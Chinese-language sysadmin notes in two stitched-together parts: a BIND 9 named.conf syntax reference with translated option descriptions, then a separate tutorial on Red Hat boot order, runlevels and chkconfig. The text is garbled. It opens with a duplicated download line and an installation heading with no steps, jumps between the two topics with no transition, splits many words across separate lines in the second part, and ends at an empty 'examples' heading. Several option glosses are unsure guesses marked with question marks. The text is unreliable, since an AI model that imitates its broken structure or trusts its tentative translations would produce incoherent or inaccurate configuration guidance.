下载:http://www.isc.org/software/bind/980-p2/download/bind980-p2zip
一.安装BIND
下载:http://www.isc.org/software/bind/980-p2/download/bind980-p2zip
一.安装BIND
acl:定义IP地址表的名字,用于访问控制等
语法:
acl acl-name {
address_match_list;
}controls:宣告一个用于rndc工具控制通道
语法:
controls {
[ inet ( ip_addr | * ) [ port ip_port ] allow { address_match_list }
keys { key_list }; ]
[ inet ...; ]
[ unix path perm number owner number group number keys { key_list }; ]
[ unix ...; ]
};
include:包含一个文件
语法:
include filename;key:定义key信息用于验证和TSIG验证
语法:
key key_id {
algorithm string;
secret string;
};logging:定义bing服务的日志, channel -> categroy.
语法:
logging {
[ channel channel_name {
( file path name
[ versions ( number | unlimited ) ]
[ size size spec ]
| syslog syslog_facility
| stderr
| null );
[ severity (critical | error | warning | notice |
info | debug [ level ] | dynamic ); ]
[ print-category yes or no; ]
[ print-severity yes or no; ]
[ print-time yes or no; ]
}; ]
[ category category_name {
channel_name ; [ channel_name ; ... ]
}; ]
...
};
category 参数:
default: 默认分类,没有分类的日志都使用这个分类的配置.
general: 没有分类的日志都记录在此分类中.
database: 服务器内部使用存储zone和缓存数据.
security: 允许/拒绝的请求.
config: 配置文件分析和处理.
resolver: DNS解析,被dns缓存服务器进行递归查询.
xfer-in: 接收区域传输.
xfer-out: 发送区域传输.
notify: NOTIFY协议.
client: 客户端请求进程.
unmatched: 未匹配的查询?
network: 网络操作.
update: 动态更新.
update-security: 允许/拒绝更新请求.
queries: 客户端队列日志.
dispatch: 数据包传送日志.
dnssec: DNSSEC和TSIG协议处理.
lame-servers: 远端的配置错误的服务器发送的请求.
delegation-only: NXDOMAIN的结果将被强制定义到delegation-only区域lwres:定义named为一个轻量级的解析进程
语法:
lwres {
[ listen-on { ip_addr [port ip_port] ; [ ip_addr [port ip_port] ; ... ] }; ]
[ view view_name; ]
[ search { domain_name ; [ domain_name ; ... ] }; ]
[ ndots number; ]
};masters:定义主域服务器列表
语法:
masters name [port ip_port] { ( masters_list | ip_addr [port ip_port] [key key] ) ; [...] };options:设定全局配置选项和默认值
语法:
options {
[ version version_string; ]
[ hostname hostname_string; ]
[ server-id server_id_string; ]
[ directory path_name; ]
[ key-directory path_name; ]
[ named-xfer path_name; ]
[ tkey-domain domainname; ]
[ tkey-dhkey key_name key_tag; ]
[ cache-file path_name; ]
[ dump-file path_name; ]
[ memstatistics-file path_name; ]
[ pid-file path_name; ]
[ statistics-file path_name; ]
[ zone-statistics yes_or_no; ]
[ auth-nxdomain yes_or_no; ]
[ deallocate-on-exit yes_or_no; ]
[ dialup dialup_option; ]
[ fake-iquery yes_or_no; ]
[ fetch-glue yes_or_no; ]
[ flush-zones-on-shutdown yes_or_no; ]
[ has-old-clients yes_or_no; ]
[ host-statistics yes_or_no; ]
[ host-statistics-max number; ]
[ minimal-responses yes_or_no; ]
[ multiple-cnames yes_or_no; ]
[ notify yes_or_no | explicit | master-only; ]
[ recursion yes_or_no; ]
[ rfc2308-type1 yes_or_no; ]
[ use-id-pool yes_or_no; ]
[ maintain-ixfr-base yes_or_no; ]
[ dnssec-enable yes_or_no; ]
[ dnssec-validation yes_or_no; ]
[ dnssec-lookaside domain trust-anchor domain; ]
[ dnssec-must-be-secure domain yes_or_no; ]
[ dnssec-accept-expired yes_or_no; ]
[ forward ( only | first ); ]
[ forwarders { [ ip_addr [port ip_port] ; ... ] }; ]
[ dual-stack-servers [port ip_port] {
( domain_name [port ip_port] |
ip_addr [port ip_port] ) ;
... }; ]
[ check-names ( master | slave | response )
( warn | fail | ignore ); ]
[ check-mx ( warn | fail | ignore ); ]
[ check-wildcard yes_or_no; ]
[ check-integrity yes_or_no; ]
[ check-mx-cname ( warn | fail | ignore ); ]
[ check-srv-cname ( warn | fail | ignore ); ]
[ check-sibling yes_or_no; ]
[ allow-notify { address_match_list }; ]
[ allow-query { address_match_list }; ]
[ allow-query-cache { address_match_list }; ]
[ allow-transfer { address_match_list }; ]
[ allow-recursion { address_match_list }; ]
[ allow-update { address_match_list }; ]
[ allow-update-forwarding { address_match_list }; ]
[ update-check-ksk yes_or_no; ]
[ allow-v6-synthesis { address_match_list }; ]
[ blackhole { address_match_list }; ]
[ avoid-v4-udp-ports { port_list }; ]
[ avoid-v6-udp-ports { port_list }; ]
[ listen-on [ port ip_port ] { address_match_list }; ]
[ listen-on-v6 [ port ip_port ] { address_match_list }; ]
[ query-source ( ( ip4_addr | * )
[ port ( ip_port | * ) ] |
[ address ( ip4_addr | * ) ]
[ port ( ip_port | * ) ] ) ; ]
[ query-source-v6 ( ( ip6_addr | * )
[ port ( ip_port | * ) ] |
[ address ( ip6_addr | * ) ]
[ port ( ip_port | * ) ] ) ; ]
[ max-transfer-time-in number; ]
[ max-transfer-time-out number; ]
[ max-transfer-idle-in number; ]
[ max-transfer-idle-out number; ]
[ tcp-clients number; ]
[ recursive-clients number; ]
[ serial-query-rate number; ]
[ serial-queries number; ]
[ tcp-listen-queue number; ]
[ transfer-format ( one-answer | many-answers ); ]
[ transfers-in number; ]
[ transfers-out number; ]
[ transfers-per-ns number; ]
[ transfer-source (ip4_addr | *) [port ip_port] ; ]
[ transfer-source-v6 (ip6_addr | *) [port ip_port] ; ]
[ alt-transfer-source (ip4_addr | *) [port ip_port] ; ]
[ alt-transfer-source-v6 (ip6_addr | *) [port ip_port] ; ]
[ use-alt-transfer-source yes_or_no; ]
[ notify-source (ip4_addr | *) [port ip_port] ; ]
[ notify-source-v6 (ip6_addr | *) [port ip_port] ; ]
[ also-notify { ip_addr [port ip_port] ; [ ip_addr [port ip_port] ; ... ] }; ]
[ max-ixfr-log-size number; ]
[ max-journal-size size_spec; ]
[ coresize size_spec ; ]
[ datasize size_spec ; ]
[ files size_spec ; ]
[ stacksize size_spec ; ]
[ cleaning-interval number; ]
[ heartbeat-interval number; ]
[ interface-interval number; ]
[ statistics-interval number; ]
[ topology { address_match_list }];
[ sortlist { address_match_list }];
[ rrset-order { order_spec ; [ order_spec ; ... ] ] };
[ lame-ttl number; ]
[ max-ncache-ttl number; ]
[ max-cache-ttl number; ]
[ sig-validity-interval number ; ]
[ min-roots number; ]
[ use-ixfr yes_or_no ; ]
[ provide-ixfr yes_or_no; ]
[ request-ixfr yes_or_no; ]
[ treat-cr-as-space yes_or_no ; ]
[ min-refresh-time number ; ]
[ max-refresh-time number ; ]
[ min-retry-time number ; ]
[ max-retry-time number ; ]
[ port ip_port; ]
[ additional-from-auth yes_or_no ; ]
[ additional-from-cache yes_or_no ; ]
[ random-device path_name ; ]
[ max-cache-size size_spec ; ]
[ match-mapped-addresses yes_or_no; ]
[ preferred-glue ( A | AAAA | NONE ); ]
[ edns-udp-size number; ]
[ max-udp-size number; ]
[ root-delegation-only [ exclude { namelist } ] ; ]
[ querylog yes_or_no ; ]
[ disable-algorithms domain { algorithm; [ algorithm; ] }; ]
[ acache-enable yes_or_no ; ]
[ acache-cleaning-interval number; ]
[ max-acache-size size_spec ; ]
[ clients-per-query number ; ]
[ max-clients-per-query number ; ]
[ masterfile-format (text|raw) ; ]
[ empty-server name ; ]
[ empty-contact name ; ]
[ empty-zones-enable yes_or_no ; ]
[ disable-empty-zone zone_name ; ]
[ zero-no-soa-ttl yes_or_no ; ]
[ zero-no-soa-ttl-cache yes_or_no ; ]
};
参数(Options):
directory: 服务器的工作目录.
key-directory: 保存密钥的目录.
named-xfer: 已经废弃,bind 8中定义named-xfer命令的路径.
tkey-domain: ...
tkey-dhkey: dhkey用于服务器生成dh模式的客户端共享的tkey,服务器必须加载公钥和私钥从工作目录的文件中.
cache-file: 仅为测试,没用.
dump-file: 当执行rndc dumpdb时服务器dump文件的路径.
memstatistics-file: 默认为named.memestats,当退出的服务的时候将服务器的统计信息写到文件中.
pid-file: 服务器记录进程ID的文件路径.
statictics-file: 执行rndc stats将服务器的统计信息写入文件,默认为named.stats
port: 服务器用于DNS协议的UDP/TCP端口号,默认为53.
random-device: entropy(平均信息量?)主要用于DNSSEC操作,像tkey传输,签署域的动态更新,默认为/dev/random,这个选项主要用于当服务器启动的时候初始化配置,reload将忽略这个选项.
preferred-glue: 优先胶? 优先相应的type list
root-delegation-only: 在根区域打开delegation-only的强制解析,并对exclude列表中的根域排除强制解析.
disable-algorithms: 对域禁用特定的DNSSEC算法,可以用多个,
dnssec-lookaside: 当设置dnssec-lookaside,它为验证器提供另外一个能在网络区域的顶层验证DNSKEY的方法.
dnssec-must-be-secure: 指定验证等级,如果选yes,named只接收安全的回应,如果选no,一般的dnssec验证将允许接收不安全的回应.
Boolean 参数:
auth-nxdomain: 如果选yes,AA字节一直设置为NXDOMAIN的回复,即使服务器不是真正可信赖的.默认为no,这是个从bind8后的改变,如果使用老的DNS软件,需要设置为yes.
deallocate-on-exit: 用于bind8在退出的时候进行内存泄露检测,bind9忽略此项,始终做检查.
dialup: 默认为no,是通过拨号网络的方式进行域传输,通常在每个heartbeat-interval执行,通常会抑制一些网络维护流量,一般的notify设置不受影响.
dialup mode normal refresh heart-beat refresh heart-beat notify no (default) yes no no yes no yes yes notify yes no yes refresh no yes no passive no no no notify-passive no no yes
fake-iquery: BIND8中模仿已经淘汰的IQUERY查询,BIND9中从不进行IQUERY模拟.
fetch-glue: 选项已经废弃.
flush-zone-on-shutdown: 当服务收到退出的信号,清除或者不清除未进行的域的写操作.默认为no
has-old-client: 这个选项在BIND8中执行有错误,BIND9忽略.
host-statistics: BIND8中保持name服务器相互作用的信息,BIND9无用.
maintain-ixfr-base: 已经废弃.
minimal-responses: 如果启用,产生响应的服务器只增加记录到权限和附加数据片中.此项能改善服务器性能.
multiple-cname: 这个选项在BIND8中允许域名有多个违反标准的CNAME记录,从BIND9.2开始严格执行CNAME规则在主域文件和动态更新中.
notify: 默认为yes,当服务器的一个域授权发生改变,将发送DNS NOTIFY信息给域NS记录的服务器列表,和一些列在also-notify选项中的服务器.如果选master-only,信息只发给主域,如果是explicit,通知只发给also-notify的列表,no不发通知.
recuision: 如果为yes,一个DNS的递归查询请求,服务器将必须做所有的尝试去应答查询,如果关闭递归并且服务器不知道答案,它将回复一个参考应答.默认为yes.
rfc2308-type1: BIND9已经不支持.
use-id-pool: 已经废弃.
zone-statistics: 如果为yes,服务器将收集所有区域的统计数据,除非从域的配置中关闭.)这些信息将进入rndc stats,会被dump到statistics-file.
use-ixfr: 已经废弃.
provide-ixfr: 用于主域服务器,设置为yes将进行增量传输,no将不进行增量传输,全局默认为yes.
request-ixfr: 用于从域服务器,设置为yes将向主域服务器发送增量传输的请求,no将不进行增量传输,全局默认为yes,
treat-cs-as-space: 用于BIND8使服务器对待\r字符像对待空格或者tab,使DOS,NT下的区域文件容易加载到UNIX系统中.BIND9忽略此项.
additional-from-auth,additional-from-cache: 这个选项控制权威服务器回答查询的时候的附加数据,或者当跟随CNAME和DNAME链.
match-mapped-address: ipv4映射到ipv6的地址
ixfr-from-differences: 当启用,主服务器加载一个新版本的区域或者从服务器接收到一个新版本的使用非增量传输,将进行比较新的版本和先前的版本,两个版本不同的部分记录到区域的日志,改变的将传送给从服务器作为域的增量传输.
multi-master: 通常被用于一个区域有多个地址不同的主服务器,如果启用,将不记录主服务器序号小于当前序号的服务.默认为no.
dnssec-enable: 是否支持DNSSEC开关,默认为yes
dnssec-validation: 是否进行DNSSEC确认开关,默认为no
dnssec-accept-expired: 接受验证DNSSEC签名过期的信号,默认为no
querylog: 确定querylog在服务启动时候启动,如果querylog没有指定,将使用日志分类中的queries定义的参数.
check-names: 用于约束主区域文件中的字符集和从网络收到的DNS应答.
check-mx: 检测MX记录指向的IP地址,默认为warn,其他的参数为,fail和ignore.
check-wildcard: 默认yes,检测如果为非域末端的通配符则发警告.
check-integrity: 检测主区域的完整性.默认为yes,这个检测MX和SRV记录指向的地址是否存在.
check-mx-cname: 如果设置check-integrity,那么fail,warn,ignore MX记录指向CNAME的检测,默认为warn.
check-srv-cname: 如果设置check-integrity,那么fail,warn,ignore SRV记录指向CNAME的检测,默认为warn.
check-sibling: 当执行完完整性检测,进行 兄弟? 胶? 检测,默认为yes
zero-no-soa-ttl: 当返回拒绝响应的SOA查询,在授权节中设置SOA记录的TTL值为0,默认为yes.
zero-no-soa-ttl-cache: 缓存一个拒绝响应的SOA记录的TTL设置为0,默认为no
update-check-ksk: 默认yes.当刷新RRSIGs跟随一个UPDATE请求到一个安全的区域,检测DNSSEC RR上的KSK标记来用于刷新RRSIG,此项被忽略如果非DNSSEC RRs有或者没有KSK,默认是yes
转发(Forward):
forward: 这个选项仅在转发列表不为空的情况下有作用.如果为first,将先转发再本地查询,如果为only,将只进行转发查询.
forwarders: 指定转发的IP地址表,默认地址表为空.
Dual-stack Servers:
dual-stack-servers: 指定机器的主机名或者地址进行ipv4或者ipv6传输,如果使用主机名,服务器必须能解析名字只用于传输,如果服务器是对称的,那么daul-stack-servers没有效果,除非用于传输被在命令行中关闭.
权限控制(Access Control):
allow-notify: 指定哪个服务器可以通知这个服务器,从域,当主域发生变化时.当allow-notify用于在zone中指定,将覆盖全局的选项.对从域服务器没有用.默认只有主域可以发送通知信息.
allow-query: 指定哪个服务器可以进行普通DNS查询,如果在zone中指定,将覆盖全局参数,默认允许来自全部主机的查询.
allow-query-cache: 指定哪个主机可以被允许从缓存中得到答案.
allow-recursion: 指定哪个主机可以通过服务器进行递归查询.
allow-update: 指定哪个主机可以对主域进行动态更新操作.
allow-update-forwarding: 指定哪个主机可以对从域发送动态更新,并由从域转发到主域,默认为{ none; }.
allow-v6-synthesis: 此参数目的是为了从AAAA到A6的地址平滑转变,从"nibble labels"到二进制标签.
allow-transfer: 指定那些主机可以从服务器上接收区域传输,未指定将允许传说到所有的主机.
black-hole: 指定地址列表内的地址不接受解析从或者使用一个解析查询,这些地址发出的查询不会被相应,默认为none.
接口(Interface):
listen-on port 1234 { 5.6.7.8; }; 指定在地址5.6.7.8上面的1234端口提供服务,默认为53.
listen-on-v6: 在ipv6地址上监听.
查询地址(Query Address):
query-sources address * port *;
query-sources-v6 address * port *;
如果服务器不知道答案,将查询其他的name服务器, query-source指定地址和端口用户这些查询.
区域传输(Zone Transfer):
also-notify: 定义一个向在全局的地址列表的服务器发送通知信息当刷新或者加载区域的时候.
max-transfer-time-in: 当区域传入运行的时间大于设定的分钟将被中断,默认为120 minutes,最大值为28天,40320 minutes.
max-transfer-idle-in: 当区域传入运行处于传输等待的状态,大于设定的时间将被中断,默认为60 minutes,最大值为28天.
max-transfer-time-out: 当区域传出运行的时间大于设定的时间,将被中断,默认为120 minutes,最大为28天.
max-transfer-idle-out: 当区域传出运行处于传输等待的状态,大于设定时间将被中断,默认为60 minutes,最大为28天.
serial-query-rate: 从服务器定期去主服务器查询区域的serial数字是否发生改变.默认为20秒.
serial-queries: BIND9忽略此参数,使用serial-query-rate代替.
transfer-format: 区域的传输可以使用两种不同的格式,one-answers和many-answers,one-answers传输每个记录使用一个DNS信息,many-answers近可能把资源记录打成一个包,默认为many-answers
transfer-in: 设定当前同时传入的区域的最大数目,默认为10个.区域的请求超过限制将被拒绝.
transfer-out: 设定当前同时传出的区域的最大数目,默认为10个,区域的传出请求超过限制将被决绝.
transfer-per-ns: 设定同时进行传输的区域从给定的name服务,默认为2.
transfer-source: 指定通过哪个IPV4的源地址进行域的传送.
transfer-source-v6: 指定通过哪个IPV6的源地址进行域的传送.
alt-transfer-source: 指定,如果transfer-source发生故障,通过哪个IPV4的源地址进行域的传松.
alt-transfer-source-v6: 同上.
use-alt-transfer-source: 指定是否通过alt-transfer-source进行域的传松,默认为yes,兼容BIND8.
notify-source: 指定哪个本地地址,以及本地端口被用来作为发送通知信息的源.此项受限于allow-notify.
notify-source-v6: 同notify-source.
Bad UDP Port Lists:
使用avoid-v4-udp-ports和avoid-v6-udp-ports来指定列表中的IPV4和ipv6端口不能被用于系统指定的源端口.
Operating System Resource Limits:
coresize: 用于core dump的限制.
datasize: 可以使用的最大的数据内存.
files: 最大打开文件数,默认unlimited.
stacksize: 最大使用的内存栈.
Server Resource Limits:
max-ixfr-log-size: BIND8兼容,相当于BIND9的max-journal-size.
max-journal-size: 设定每个日志文件的最大大小.默认unlimited
host-statistics-max: BIND9无效.
recursive-clients: 设定最大并发进行递归查询的数量,默认为1000.
tcp-clients: 服务器接受的最大并发tcp连接数,默认为100.
max-cache-size: 服务器缓存最大使用的内存,字节.默认为unlimited,意味着记录只有在TTL过期后才被清除出缓存.
tcp-listen-queue: 监听最深队列,默认和最小值为3.
Periodic Task Intervals:
cleaning-interval: 服务器清理过期的资源记录在每个设定的时间间隔.默认为60分钟,最大设定为28天,如果设定为0将不进行清理.
heartbeat-interval: 当被标记为dialup的区域过了设定的时间间隔,将进行区域维护任务,默认为60分钟,合理的设置是1天,最大设置为28天,如果设置为0,将不进行区域维护任务.
interface-interval: 服务器将在设定的时间间隔扫描网络接口,默认为60分钟,最大为28天,设定为0只有在配置文件重新加载的时候才进行扫描.
statistics-interval: 服务器的统计信息将在设定的期间内被记录,默认为60分钟,最大28天,设置为0将不记录.
Topology:
topology { localhost; localnets; }; BIND9无效.
Sortlist:
sortlist {
{ localhost; localnets; };
{ localnets; };
};
RRset Ordering:
rrset-order {
class IN type A name "host.example.com" order random;
order cyclic;
};节(Tuning):
lame-ttl: 设定缓存一个lame服务器的时间,0关闭,默认600秒,最大为1800秒.
max-ncache-ttl: 为了减少网络流量和提升性能,服务器记录不正确的回答得时间,默认为10800秒,不能超过7天.
max-cache-ttl: 设定服务器存储普通应答的最大缓存时间,默认为7天.
min-roots: BIND9无效.
sig-validity-interval: 设定DNSSEC自动生成动态更新的过期时间.默认为30天,最长10年.
min-refresh-time,max-refresh-time,min-retry-time,max-retry-time: 这些选项控制服务器的运转,当刷新一个区域或者重试失败的传输.
edns-udp-size: 这个参数设定发出的EDNS UDP包的大小,有效地值是512-4096之间,默认为4096bytes.
max-udp-size: 设定最大的EDNS信息的大小,有效地值是512-4096之间,默认为4096bytes.
masterfile-format: 指定区域文件的格式,默认为text.
clients-per-query,max-clients-per-query: 设定初始和最大数量服务器接受的客户端并发的递归查询,
服务器内建信息:
version: 版本
hostname: 主机名
server-id: 服务器ID
内建空域:
empty-server: 指定哪个服务器名将出现在返回的空域中的SOA记录,如果没指定,将使用区域的名字.
empty-contact: 指定哪个联系信息将出现在返回的空域的SOA记录中.如果没指定,将使用".".
empty-zones-enable: 打开或者关闭空的区域,默认为开启.
disable-empty-zone: 关闭单独的空地区域,默认关闭,此参数可指定多次.
额外的Cache参数:
acache-enable: 是否打开额外的cache参数.
acache-cleaning-interval: 服务器将删除过期的缓存进入,基于LRU based algorithm,每个设定的间隔时间,默认为60分钟,设置成0则不清除.
max-acache-size: 设定acache使用的最大的内存大小.servers:对特定的服务器设置参数
语法:
server ip_addr[/prefixlen] {
[ bogus yes_or_no ; ]
[ provide-ixfr yes_or_no ; ]
[ request-ixfr yes_or_no ; ]
[ edns yes_or_no ; ]
[ edns-udp-size number ; ]
[ max-udp-size number ; ]
[ transfers number ; ]
[ transfer-format ( one-answer | many-answers ) ; ]]
[ keys { string ; [ string ; [...]] } ; ]
[ transfer-source (ip4_addr | *) [port ip_port] ; ]
[ transfer-source-v6 (ip6_addr | *) [port ip_port] ; ]
[ notify-source (ip4_addr | *) [port ip_port] ; ]
[ notify-source-v6 (ip6_addr | *) [port ip_port] ; ]
[ query-source [ address ( ip_addr | * ) ] [ port ( ip_port | * ) ]; ]
[ query-source-v6 [ address ( ip_addr | * ) ] [ port ( ip_port | * ) ]; ]
};trusted_keys:设置可信任的DNSSEC key
语法:
trusted-keys {
string number number number string ;
[ string number number number string ; [...]]
};view:定义一个视图
view view_name
[class] {
match-clients { address_match_list };
match-destinations { address_match_list };
match-recursive-only yes_or_no ;
[ view_option; ...]
[ zone_statement; ...]
};zone:定义一个区域
zone zone_name [class] {
type master;
[ allow-query { address_match_list }; ]
[ allow-transfer { address_match_list }; ]
[ allow-update { address_match_list }; ]
[ update-policy { update_policy_rule [...] }; ]
[ also-notify { ip_addr [port ip_port] ; [ ip_addr [port ip_port] ; ... ] }; ]
[ check-names (warn|fail|ignore) ; ]
[ check-mx (warn|fail|ignore) ; ]
[ check-wildcard yes_or_no; ]
[ check-integrity yes_or_no ; ]
[ dialup dialup_option ; ]
[ file string ; ]
[ masterfile-format (text|raw) ; ]
[ journal string ; ]
[ forward (only|first) ; ]
[ forwarders { [ ip_addr [port ip_port] ; ... ] }; ]
[ ixfr-base string ; ]
[ ixfr-tmp-file string ; ]
[ maintain-ixfr-base yes_or_no ; ]
[ max-ixfr-log-size number ; ]
[ max-transfer-idle-out number ; ]
[ max-transfer-time-out number ; ]
[ notify yes_or_no | explicit | master-only ; ]
[ pubkey number number number string ; ]
[ notify-source (ip4_addr | *) [port ip_port] ; ]
[ notify-source-v6 (ip6_addr | *) [port ip_port] ; ]
[ zone-statistics yes_or_no ; ]
[ sig-validity-interval number ; ]
[ database string ; ]
[ min-refresh-time number ; ]
[ max-refresh-time number ; ]
[ min-retry-time number ; ]
[ max-retry-time number ; ]
[ key-directory path_name; ]
[ zero-no-soa-ttl yes_or_no ; ]
};
zone zone_name [class] {
type slave;
[ allow-notify { address_match_list }; ]
[ allow-query { address_match_list }; ]
[ allow-transfer { address_match_list }; ]
[ allow-update-forwarding { address_match_list }; ]
[ update-check-ksk yes_or_no; ]
[ also-notify { ip_addr [port ip_port] ; [ ip_addr [port ip_port] ; ... ] }; ]
[ check-names (warn|fail|ignore) ; ]
[ dialup dialup_option ; ]
[ file string ; ]
[ masterfile-format (text|raw) ; ]
[ journal string ; ]
[ forward (only|first) ; ]
[ forwarders { [ ip_addr [port ip_port] ; ... ] }; ]
[ ixfr-base string ; ]
[ ixfr-tmp-file string ; ]
[ maintain-ixfr-base yes_or_no ; ]
[ masters [port ip_port] { ( masters_list | ip_addr [port ip_port] [key key] ) ; [...] }; ]
[ max-ixfr-log-size number ; ]
[ max-transfer-idle-in number ; ]
[ max-transfer-idle-out number ; ]
[ max-transfer-time-in number ; ]
[ max-transfer-time-out number ; ]
[ notify yes_or_no | explicit | master-only ; ]
[ pubkey number number number string ; ]
[ transfer-source (ip4_addr | *) [port ip_port] ; ]
[ transfer-source-v6 (ip6_addr | *) [port ip_port] ; ]
[ alt-transfer-source (ip4_addr | *) [port ip_port] ; ]
[ alt-transfer-source-v6 (ip6_addr | *) [port ip_port] ; ]
[ use-alt-transfer-source yes_or_no; ]
[ notify-source (ip4_addr | *) [port ip_port] ; ]
[ notify-source-v6 (ip6_addr | *) [port ip_port] ; ]
[ zone-statistics yes_or_no ; ]
[ database string ; ]
[ min-refresh-time number ; ]
[ max-refresh-time number ; ]
[ min-retry-time number ; ]
[ max-retry-time number ; ]
[ multi-master yes_or_no ; ]
[ zero-no-soa-ttl yes_or_no ; ]
};
zone zone_name [class] {
type hint;
file string ;
[ delegation-only yes_or_no ; ]
[ check-names (warn|fail|ignore) ; // Not Implemented. ]
};
zone zone_name [class] {
type stub;
[ allow-query { address_match_list }; ]
[ check-names (warn|fail|ignore) ; ]
[ dialup dialup_option ; ]
[ delegation-only yes_or_no ; ]
[ file string ; ]
[ masterfile-format (text|raw) ; ]
[ forward (only|first) ; ]
[ forwarders { [ ip_addr [port ip_port] ; ... ] }; ]
[ masters [port ip_port] { ( masters_list | ip_addr [port ip_port] [key key] ) ; [...] }; ]
[ max-transfer-idle-in number ; ]
[ max-transfer-time-in number ; ]
[ pubkey number number number string ; ]
[ transfer-source (ip4_addr | *) [port ip_port] ; ]
[ transfer-source-v6 (ip6_addr | *) [port ip_port] ; ]
[ alt-transfer-source (ip4_addr | *) [port ip_port] ; ]
[ alt-transfer-source-v6 (ip6_addr | *) [port ip_port] ; ]
[ use-alt-transfer-source yes_or_no; ]
[ zone-statistics yes_or_no ; ]
[ database string ; ]
[ min-refresh-time number ; ]
[ max-refresh-time number ; ]
[ min-retry-time number ; ]
[ max-retry-time number ; ]
[ multi-master yes_or_no ; ]
};
zone zone_name [class] {
type forward;
[ forward (only|first) ; ]
[ forwarders { [ ip_addr [port ip_port] ; ... ] }; ]
[ delegation-only yes_or_no ; ]
};
zone zone_name [class] {
type delegation-only;
};
区域Type:
master: 主域服务
slave: 从域服务
stub: 只复制主域的NS记录,属于BIND特有功能.
hint: 设定初始化设置根域服务器所用的参数.
forward: 域转发设置
delegation-only: 设定返回为NXDOMAIN?
如果
服务
器重启之后需要手工开启许多服务、工作及以后的维护相对比较繁琐、特地总结了下
linux
下
开机
自动启动
脚本
所涉及的
知识
和方法、如下:
1、相关
基础
知识点
1)redhat的启动方式和执行次序是:
加载内核
执行init程序
/etc/rc.d/rc.sysinit # 由init执行的第一个脚本
/etc/rc.d/rc $runlevel # $runlevel为缺省的运行模式
/etc/rc.d/rc.local #相应级别服务启动之后、在执行该
文件
(其实也可以把需要执行的
命令
写到该文件中)
/sbin/mingetty # 等待用户登录
在redhat中,/etc/rc.d/rc.sysinit主要做在各个运行模式中相同的初始化工作,包括:
调入keymap以及
系统
字体
启动swapping
设置主机名
设置nis域名
检查(fsck)并mount文件系统
打开quota
装载声卡模块
设置系统时钟
等等。
/etc/rc.d/rc则根据其参数指定的运行模式(运行级别,你在inittab文件中可以
设置
)来执行相应目录下的脚本。凡是以kxx开头的
,都以stop为参数来调用;凡是以sxx开头的,都以start为参数来调用。调用的
顺序
按xx
从小到大来执行。(其中xx是数字、表示的是启动顺序)例如,假设缺省的运行模式是3,/etc/rc.d/rc就会按上述方式调用
/etc/rc.d/rc3.d/下的脚本。
值得一提的是,redhat中的运行模式2、3、5都把/etc/rc.d/rc.local做为初始化脚本中
的最后一个,所以用户可以自己在这个文件中添加一些需要在其他初始化工作之后,登录之前执行的命令。
init在等待/etc/rc.d/rc执行完毕之后(因为在/etc/inittab中/etc/rc.d/rc的
action是wait),将在指定的各个虚拟终端上运行/sbin/mingetty,等待用户的登录。
至此,linux的启动结束。
2)init运行级别及指令
一、什么是init:
init是linux系统操作中不可缺少的程序之一。
所谓的init进程,它是一个由内核启动的用户级进程。
内核自行启动(已经被载入内存,开始运行,并已初始化所有的设备驱动程序和
数据
结构等)之后,就通过启动一个用户级程序init的方式,完成引导进程。所以,init始终是第一个进程(其进程编号始终为1)。
内核会在过去曾使用过init的几个地方查找它,它的正确位置(对linux系统来说)是/sbin/init。如果内核找不到init,它就会试着运行/bin/sh,如果运行失败,系统的启动也会失败。
二、运行级别
那么,到底什么是运行级呢?
简单的说,运行级就是
操作系统
当前正在运行的
功能
级别。这个级别从1到6 ,具有不同的功能。
不同的运行级定义如下
# 0 - 停机(千万不能把initdefault 设置为0 )
# 1 - 单用户模式 # s init s = init 1
# 2 - 多用户,没有 nfs
# 3 - 完全多用户模式(标准的运行级)
# 4 - 没有用到
# 5 - x11 多用户图形模式(xwindow)
# 6 - 重新启动 (千万不要把initdefault 设置为6 )
这些级别在/etc/inittab 文件里指定。这个文件是init 程序寻找的主要文件,最先运行的服务是放在/etc/rc.d
目录下的文件。在大多数的linux 发行版本中,启动脚本都是位于 /etc/rc.d/init.d中的。这些脚本被用ln 命令连接到
/etc/rc.d/rcn.d 目录。(这里的n 就是运行级0-6)
3):chkconfig 命令(redhat 操作系统下)
不像dos 或者
windows
,linux
可以有多种运行级。常见的就是多用户的2,3,4,5 ,很多人知道 5 是运行 x-windows 的级别,而 0 就
是关机了。运行级的改变可以通过 init 命令来切换。例如,假设你要维护系统进入单用户状态,那么,可以使用 init 1 来切换。在
linux 的运行级的切换过程中,系统会自动寻找对应运行级的目录/etc/rc[0-6].d下的k 和 s
开头的文件,按后面的数字顺序,执行这 些脚本。对这些脚本的维护,是很繁琐的一件事情,linux 提供了chkconfig
命令用来更新和查询不同运行级上的系统服务。
语法为:
chkconfig --list [name]
chkconfig --add name
chkconfig --del name
chkconfig [--level levels] name
chkconfig [--level levels] name
chkconfig 有五项功能:添加服务,删除服务,列表服务,改变启动信息以及检查特定服务的启动状态。
chkconfig 没有参数运行时,显示用法。如果加上服务名,那么就检查这个服务是否在当前运行级启动。如果是,返回 true,否则返回 false。 --level 选项可以指定要查看的运行级而不一定是当前运行级。
如果在服务名后面指定了on,off 或者 reset,那么 chkconfig 会改变指定服务的启动信息。on 和 off 分别指服务在改变运行级时的 启动和停止。reset 指初始化服务信息,无论有问题的初始化脚本指定了什么。
对于 on 和 off 开关,系统默认只对运行级 3,4, 5有效,但是 reset 可以对所有运行级有效。指定 --level 选项时,可以
选择
特 定的运行级。
需要说明的是,对于每个运行级,只能有一个启动脚本或者停止脚本。当切换运行级时,init 不会重新启动已经启动的服务,也不会再 次去停止已经停止的服务。
选项介绍:
--level levels
指定运行级,由数字 0 到 7 构成的字符串,如:
--level 35 表示指定运行级3 和5。
要在运行级别3、4、5中停运 nfs 服务,使用下面的命令:chkconfig --level 345 nfs off
--add name
这个选项增加一项新的服务,chkconfig 确保每个运行级有一项 启动(s) 或者 杀死(k) 入口。如有缺少,则会从缺省的init 脚本自动 建立。
--del name
用来删除服务,并把相关符号连接从 /etc/rc[0-6].d 删除。
--list name
列表,如果指定了name 那么只是显示指定的服务名,否则,列出全部服务在不同运行级的状态。
运行级文件
每个被chkconfig
管理
的服务需要在对应的init.d 下的脚本加上两行或者更多行的注释。
第一行告诉 chkconfig 缺省启动的运行级以及启动和停止的优先级。如果某服务缺省不在任何运行级启动,那么使用 - 代替运行级。
第二行对服务进行描述,可以用 跨行注释。
例如,random.init 包含三行:
# chkconfig: 2345 20 80
# description: saves and restores system entropy pool for
# higher quality random number generation.
表明 random 脚本应该在运行级 2, 3, 4, 5 启动,启动优先权为20,停止优先权为 80。
好了,介绍就到这里了,去看看自己目录下的/etc/rc.d/init.d 下的脚本吧。
设置自启动服务:chkconfig --level 345 nfs on
2.
实例
介绍:
